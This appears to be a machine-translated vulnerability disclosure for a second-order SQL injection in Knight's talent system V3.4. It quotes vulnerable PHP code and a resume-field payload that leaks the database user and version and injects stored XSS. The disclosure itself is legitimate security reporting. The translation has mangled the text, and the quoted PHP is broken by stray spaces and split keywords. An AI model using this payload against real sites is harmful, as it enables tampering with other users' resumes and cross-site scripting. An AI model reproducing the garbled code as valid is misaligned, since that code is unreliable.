Knight's talent system injection (20140805) injects one

Knight's talent system injection (20140805) injects one

V3.4 20140808

Include/common. fun. php

Function updatetable ($ tablename, $ setsqlarr, $ wheresqlarr, $ silent = 0) {global $ db; $ setsql = $ comma = ''; foreach ($ setsqlarr as $ set_key => $ set_value) {if (is_array ($ set_value) {// if it is an array, obtain the first element $ setsql. = $ comma. '''. $ set_key. '''. '= '. $ set_value [0]; // No quotation marks} else {$ setsql. = $ comma. '''. $ set_key. '''. '= \''. $ set_value. '\ '''; // quotation marks} $ comma =', ';}$ where = $ comma = ''; if (empty ($ wheresqlarr )) {$ where = '1';} e Lseif (is_array ($ wheresqlarr) {foreach ($ wheresqlarr as $ key => $ value) {$ where. = $ comma. '''. $ key. '''. '= \''. $ value. '\ '''; $ comma = 'and';} else {$ where = $ wheresqlarr;} return $ db-> query ("UPDATE ". ($ tablename ). "SET ". $ setsql. "WHERE ". $ where, $ silent? "SILENT ":"");}

User/personal/personal_resume.php 284 rows:

Elseif ($ act = 'make3 _ save') {if (intval ($ _ POST ['pid ']) = 0) showmsg (' parameter error! ', 1); $ setsqlarrspecialty ['specialty'] =! Empty ($ _ POST ['specialty '])? $ _ POST ['specialty ']: showmsg (' enter your skill skills! ', 1); // specialty can be used as an array to input $ _ CFG ['audit _ edit_resume']! = "-1 "? $ Setsqlarrspecialty ['audit'] = intval ($ _ CFG ['audit_edit_resume ']): ""; updatetable (table ('resume'), $ setsqlarrspecialty, "id = '". intval ($ _ POST ['pid ']). "'AND uid = '". intval ($ _ SESSION ['uid']). "'"); // enter the updatetable (table ('resume _ tmp'), $ setsqlarrspecialty, "id = '". intval ($ _ POST ['pid ']). "'AND uid = '". intval ($ _ SESSION ['uid']). "'"); check_resume ($ _ SESSION ['uid'], intval ($ _ REQUEST ['pid']); if ($ _ POST ['go _ resume_s How ']) {header ("Location :? Act = resume_show & pid = {$ _ POST ['pid']} ");} else {header (" Location :? Act = make4 & pid = ". intval ($ _ POST ['pid ']);}

 

This injection can modify any resume or insert xss. Fill in your resume skill points:

concat(user(),0x0a,version(),0x0a,0x3C7363726970743E616C657274282F7873732F293C2F7363726970743E)

The filter function cannot bypass. Only secondary injection can be found.
 

 

 

Solution:

Quotation marks and filtering.